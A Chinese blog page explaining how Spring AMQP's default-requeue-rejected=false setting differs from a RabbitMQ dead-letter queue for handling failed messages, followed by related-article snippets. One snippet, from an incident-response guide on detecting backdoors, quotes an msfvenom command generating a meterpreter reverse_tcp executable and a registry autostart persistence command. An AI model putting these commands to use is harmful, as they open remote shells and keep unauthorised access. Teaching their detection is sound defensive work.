spring.rabbitmq.listener.simple.default-requeue-rejected = false 和放入死信队列的区别

目录

一、场景

二、使用 spring.rabbitmq.listener.simple.default-requeue-rejected = false 

2.1 特点

三、 放入死信队列

四、两种区别


一、场景

 当我们使用RabbitMq的时候,我们如果业务中有异常,很有可能造成死循环,因为

  •     在RabbitMQ和Spring AMQP的默认配置下,如果消费者(即这里的receiveMessage方法)在处理消息时抛出了未捕获的异常,RabbitMQ会认为该消息没有被正确地处理,因此会将消息重新放回队列(可能会设置延迟后重新投递,或者立即重新投递,具体行为取决于RabbitMQ的 nack/requeue 策略配置)。
  •     如果您的应用没有配置任何错误处理策略(如死信交换机、最大重试次数等),那么每当此异常发生时,RabbitMQ都会不断尝试重新投递该消息,从而形成了所谓的“死循环”。

例如在监听队列消息的时候,出现异常,造成了死循环。

 

二、使用 spring.rabbitmq.listener.simple.default-requeue-rejected = false 

2.1 特点

  • 当设置为 false 时,消费者在处理消息时如果抛出异常或者主动拒绝(reject)消息,RabbitMQ 不会将该消息重新放回原队列,而是直接丢弃。
  • 这样做的优点是可以立即停止对某个无法正确处理的消息的重试,防止死循环,缺点是可能会导致消息永久丢失,除非有额外的备份机制或者监控措施。

三、 放入死信队列

  • 使用死信队列是一种更复杂的错误处理策略。当消息在一个队列中达到重试上限或者其他触发条件(如TTL过期)时,RabbitMQ会将该消息转移到另一个预设的死信队列中。
  • 在死信队列中的消息不会影响正常消息的流转,同时可以被单独的消费者或流程监控来处理,用于分析失败原因、修复问题或者采取特殊处理(如人工介入)。
  • 此方法允许对失败消息进行二次处理或至少保留失败记录以供追溯,相比于直接丢弃更能保证系统的健壮性和容错性。

四、两种区别

  •  两者的核心区别在于对待处理失败消息的态度:一个是直接放弃,另一个则是保留下来进行后续处理或分析。在实际应用中,通常推荐使用死信队列机制来保证重要消息的安全性和完整性。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/801377.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

转让名称带中国的金融控股集团公司要多少钱

随着公司的发展和市场竞争的影响,越来越多的创业者希望注册一家好名称的公司,以提高企业知名度和竞争力。但是,注册中字头无地域公司需要满足一定的条件和流程。本文将对中字头无地域公司注册条件及流程进行详细的介绍。可以致电咨询我或者来…

U2004A是德科技U2004A功率传感器

181/2461/8938产品概述: Keysight U2004A (Agilent) USB 功率传感器可快速设置和测量,无需功率计,只需将 USB 传感器电缆插入 PC,即可使用 FREE Power Panel (N1918A) 软件控制 USB 功率传感器。 Keysight U2004A USB 功率传感器…

Astra深度相机在Ubuntu18.04系统下实现相机标定

问题: 当使用Astra相机的启动的指令启动相机后,使用rviz查看相机所发布的rgb数据时,在终端会出现如下的提示信息: Camera calibration file /home/car/.ros/camera_info/rgb_Astra_Orbbec.yaml not found. Camera calibration fil…

flood_fill 算法|图形渲染

flood fill 算法常常用来找极大连通子图,这是必须掌握的基本算法之一! 图形渲染 算法原理 我们可以利用DFS遍历数组把首个数组的值记为color,然后上下左右四个方向遍历二维数组数组如果其他方块的值不等于color 或者越界就剪枝 return 代码…

自然语言处理-词向量模型-Word2Vec

目录 一、前言 二、词向量 三、词向量的实际意义 四、模型的整体框架 五、构建输入数据 六、不同模型的对比 七、负采样方案 八、总结 一、前言 计算机只认识数值数字,那么怎么认识自然语言呢???答案就是将自然语言转换转…

git查看单独某一个文件的历史修改记录

git查看单独某一个文件的历史修改记录 git log -p 文件具体路径 注意,Windows下默认文件路径分隔符是 \,在git bash 里面需要改成 /。 git基于change代码修改与提交_git change-CSDN博客文章浏览阅读361次。git cherry-pick:复制多个提交comm…

HiveSQL之lateral view

lateral view是hiveQL中的一个高级功能,用于和表生成函数一起,来处理嵌套数组和结构的数据,特别是在处理复杂的数据结构如JSON或数组内嵌套数组时特别有用。它允许用户在每一行上应用TGF(表生成函数),将生成…

java实现UDP数据交互

1、回显服务器 服务器端 import java.io.IOException; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.SocketException;public class UDP_Server {private DatagramSocket socketnull;public UDP_Server(int port) throws SocketExcepti…

k8s集群node节点状态为Not Ready

目录 一、Node节点Not Ready状态的可能原因 二、排查node节点状态为Not Ready的原因 一、Node节点Not Ready状态的可能原因 node节点状态为Not Ready可能的原因有: 1.网络插件出问题 有过安装经验的小伙伴应该很熟悉未安装网络插件的情况下node节点在集群中的状…

【PyTorch][chapter 25][李宏毅深度学习][Transfer Learning-1]

前言: 迁移学习是一种机器学习的方法,指的是一个预训练的模型被重新用在另一个任务中。 比如已经有个模型A 实现了猫狗分类 模型B 要实现大象和老虎分类,可以利用训练好的模型A 的一些参数特征,简化当前的训练 过程. 目录: 简介 Model Fine-Tuning (…

应急响应-后门攻击检测指南Rookit内存马权限维持WINLinux

一、演示案例-Windows-后门-常规&权限维持&内存马 1、常规MSF后门-网络连接分析 常规后门: msfvenom -p windows/meterpreter/reverse_tcp lhostxx.xx.xx.xx lport6666 -f exe -o shell.exe2、权限维持后门-分析检测 自启动测试 REG ADD "HKCU\SO…

vue做游戏vue游戏引擎vue小游戏开发

Vue.js 是一个构建用户界面的渐进式JavaScript框架,它同样可以用于游戏开发。使用 Vue 开发游戏通常涉及以下几个关键步骤和概念: 1. 了解 Vue 的核心概念 1 在开始使用 Vue 进行游戏开发之前,你需要理解 Vue 的一些核心概念,如…

抖音在线点赞任务发布接单运营平台PHP网站源码 多个支付通道+分级会员制度

源码介绍 1、三级代理裂变,静态返佣/动态返佣均可设置。(烧伤制度)。 2、邀请二维码接入防红跳转。 3、自动机器人做任务,任务时间可设置,机器人价格时间可设置。 4、后台可设置注册即送X天机器人。 5、不同级别会…

uniapp开发笔记----配置钉钉小程序

uniapp开发笔记----配置钉钉小程序 1. 项目根目录添加package.json文件2. 之后点击运行就可以看到已经添加了钉钉小程序3. 如果首次使用需要配置 其他功能待开发。。。 接上一章之后,我想要把项目配置成钉钉小程序 官方文档点击这里 1. 项目根目录添加package.json…

NzN的数据结构--二叉树part2

上一章我们介绍了二叉树入门的一些内容,本章我们就要正式开始学习二叉树的实现方法,先三连后看是好习惯!!! 目录 一、二叉树的顺序结构及实现 1. 二叉树的顺序结构 2. 堆的概念及结构 3. 堆的实现 3.1 堆的创建 …

Idea 通过 Tomcat 启动项目时出现“错误:找不到或无法加载主类 ecoding”

问题描述 在Idea中通过Tomcat启动项目时,出现 “错误:找不到或无法加载主类 ecoding” 原因 在Tomcat - Eidt Configurations....中配置VM options时出现了错误,可以查看下该配置是否填写正确;

2024-04-08 NO.5 Quest3 手势追踪进行 UI 交互

文章目录 1 玩家配置2 物体配置3 添加视觉效果4 添加文字5 其他操作5.1 双面渲染5.2 替换图片 ​ 在开始操作前,我们导入先前配置好的预制体 MyOVRCameraRig,相关介绍在 《2024-04-03 NO.4 Quest3 手势追踪抓取物体-CSDN博客》 文章中。 1 玩家配置 &a…

全自动ai生成视频MoneyPrinterTurbo源码

功能介绍 完整的 MVC架构,代码 结构清晰,易于维护,支持 API 和 Web界面 支持视频文案 AI自动生成,也可以自定义文案支持多种 高清视频 尺寸 竖屏 9:16,1080x1920 横屏 16:9,1920x1080 支持 批量视频生成&am…

PHP基础

搭建环境 网站基本概念 服务器概念 服务器是为电脑提供服务的电脑,本地电脑如果有公网IP,那也能当作服务器工作服务器是计算机的一种,它比普通计算机运行更快,负载更高、价格更贵。 服务器在网络中为其它客户机(如P…

借助 Aspose.Words,在 C# 中将图片转换为 Word

Microsoft Word 提供了多种用于生成具有增强的格式化功能的文本文档的工具。除了文本格式之外,我们还可以将各种图形元素和图像合并到Word文档中。在某些情况下,我们可能需要将图片或照片插入DOC或DOCX格式的Word文档中。在本文中,我们将学习…